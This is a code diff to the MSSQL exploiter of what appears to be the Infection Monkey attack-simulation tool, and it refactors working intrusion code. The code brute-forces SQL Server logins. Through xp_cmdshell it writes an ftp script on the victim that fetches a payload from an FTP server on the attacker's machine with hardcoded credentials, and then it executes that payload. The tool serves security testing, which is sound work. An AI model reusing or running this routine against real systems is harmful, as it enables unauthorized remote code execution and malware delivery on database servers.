diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a94e194a4..2e8bf6c90 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,6 +1,4 @@ import os -import platform -from os import path import logging import pymssql @@ -19,8 +17,8 @@ class MSSQLExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE LOGIN_TIMEOUT = 15 SQL_DEFAULT_TCP_PORT = '1433' - DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'%TEMP%\~PLD123.bat') - DEFAULT_PAYLOAD_PATH_LINUX = '/tmp/~PLD123.bat' + DEFAULT_PAYLOAD_PATH_WIN = os.path.expandvars(r'~PLD123.bat') + DEFAULT_PAYLOAD_PATH_LINUX = '~PLD123.bat' def __init__(self, host): super(MSSQLExploiter, self).__init__(host) @@ -62,7 +60,6 @@ class MSSQLExploiter(HostExploiter): return False def handle_payload(self, cursor, payload): - """ Handles the process of payload sending and execution, prepares the attack and details. @@ -74,7 +71,7 @@ class MSSQLExploiter(HostExploiter): True or False depends on process success """ - chosen_attack = self.attacks_list[0](payload, cursor, self.host.ip_addr) + chosen_attack = self.attacks_list[0](payload, cursor, self.host) if chosen_attack.send_payload(): LOG.debug('Payload: {0} has been successfully sent to host'.format(payload)) diff --git a/monkey/infection_monkey/exploit/mssqlexec_utils.py b/monkey/infection_monkey/exploit/mssqlexec_utils.py index ab8b88e60..51293dfe3 100644 --- a/monkey/infection_monkey/exploit/mssqlexec_utils.py +++ b/monkey/infection_monkey/exploit/mssqlexec_utils.py @@ -8,6 +8,7 @@ from infection_monkey.exploit.tools import get_interface_to_target from pyftpdlib.authorizers import DummyAuthorizer from pyftpdlib.handlers import FTPHandler from pyftpdlib.servers import FTPServer +from time import sleep __author__ = 'Maor Rayzin' @@ -17,7 +18,8 @@ FTP_SERVER_PORT = 1026 FTP_SERVER_ADDRESS = '' FTP_SERVER_USER = 'brute' FTP_SERVER_PASSWORD = 'force' -FTP_WORKING_DIR = '.' +FTP_WORK_DIR_WINDOWS = os.path.expandvars(r'%TEMP%/') +FTP_WORK_DIR_LINUX = '/tmp/' LOG = logging.getLogger(__name__) @@ -30,37 +32,29 @@ class FTP(object): user (str): User for FTP server auth password (str): Password for FTP server auth working_dir (str): The local working dir to init the ftp server on. - """ - def __init__(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, - working_dir=FTP_WORKING_DIR): + def __init__(self, host, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD): """Look at class level docstring.""" - + self.dst_ip = host.ip_addr self.user = user self.password = password - self.working_dir = working_dir + self.working_dir = FTP_WORK_DIR_LINUX if 'linux' in host.os['type'] else FTP_WORK_DIR_WINDOWS - def run_server(self, user=FTP_SERVER_USER, password=FTP_SERVER_PASSWORD, - working_dir=FTP_WORKING_DIR): + def run_server(self): """ Configures and runs the ftp server to listen forever until stopped. - - Args: - user (str): User for FTP server auth - password (str): Password for FTP server auth - working_dir (str): The local working dir to init the ftp server on. """ # Defining an authorizer and configuring the ftp user authorizer = DummyAuthorizer() - authorizer.add_user(user, password, working_dir, perm='elradfmw') + authorizer.add_user(self.user, self.password, self.working_dir, perm='elr') # Normal ftp handler handler = FTPHandler handler.authorizer = authorizer - address = (FTP_SERVER_ADDRESS, FTP_SERVER_PORT) + address = (get_interface_to_target(self.dst_ip), FTP_SERVER_PORT) # Configuring the server using the address and handler. Global usage in stop_server thats why using self keyword self.server = FTPServer(address, handler) @@ -100,14 +94,15 @@ class CmdShellAttack(AttackHost): Args: payload_path (str): The local path of the payload file cursor (pymssql.conn.obj): A cursor object from pymssql.connect to run commands with. + host (model.host.VictimHost): Host this attack is going to target """ - def __init__(self, payload_path, cursor, dst_ip_address): + def __init__(self, payload_path, cursor, host): super(CmdShellAttack, self).__init__(payload_path) - self.ftp_server, self.ftp_server_p = self.__init_ftp_server() + self.ftp_server, self.ftp_server_p = self.__init_ftp_server(host) self.cursor = cursor - self.attacker_ip = get_interface_to_target(dst_ip_address) + self.attacker_ip = get_interface_to_target(host.ip_addr) def send_payload(self): """ @@ -121,7 +116,6 @@ class CmdShellAttack(AttackHost): shellcmd1 = """xp_cmdshell "mkdir c:\\tmp& chdir c:\\tmp& echo open {0} {1}>ftp.txt& \ echo {2}>>ftp.txt" """.format(self.attacker_ip, FTP_SERVER_PORT, FTP_SERVER_USER) shellcmd2 = """xp_cmdshell "chdir c:\\tmp& echo {0}>>ftp.txt" """.format(FTP_SERVER_PASSWORD) - shellcmd3 = """xp_cmdshell "chdir c:\\tmp& echo get {0}>>ftp.txt& echo bye>>ftp.txt" """\ .format(self.payload_path) shellcmd4 = """xp_cmdshell "chdir c:\\tmp& cmd /c ftp -s:ftp.txt" """ @@ -129,11 +123,11 @@ class CmdShellAttack(AttackHost): # Checking to see if ftp server is up if self.ftp_server_p and self.ftp_server: - try: # Running the cmd on remote host for cmd in shellcmds: self.cursor.execute(cmd) + sleep(0.5) except Exception as e: LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) self.ftp_server_p.terminate() @@ -174,7 +168,7 @@ class CmdShellAttack(AttackHost): self.ftp_server_p.terminate() return False - except pymssql.OperationalError: + except pymssql.OperationalError as e: LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) self.ftp_server_p.terminate() return False @@ -193,7 +187,7 @@ class CmdShellAttack(AttackHost): LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) return False - def __init_ftp_server(self): + def __init_ftp_server(self, host): """ Init an FTP server using FTP class on a different process @@ -203,7 +197,7 @@ class CmdShellAttack(AttackHost): """ try: - ftp_s = FTP() + ftp_s = FTP(host) multiprocessing.log_to_stderr(logging.DEBUG) p = multiprocessing.Process(target=ftp_s.run_server) p.start()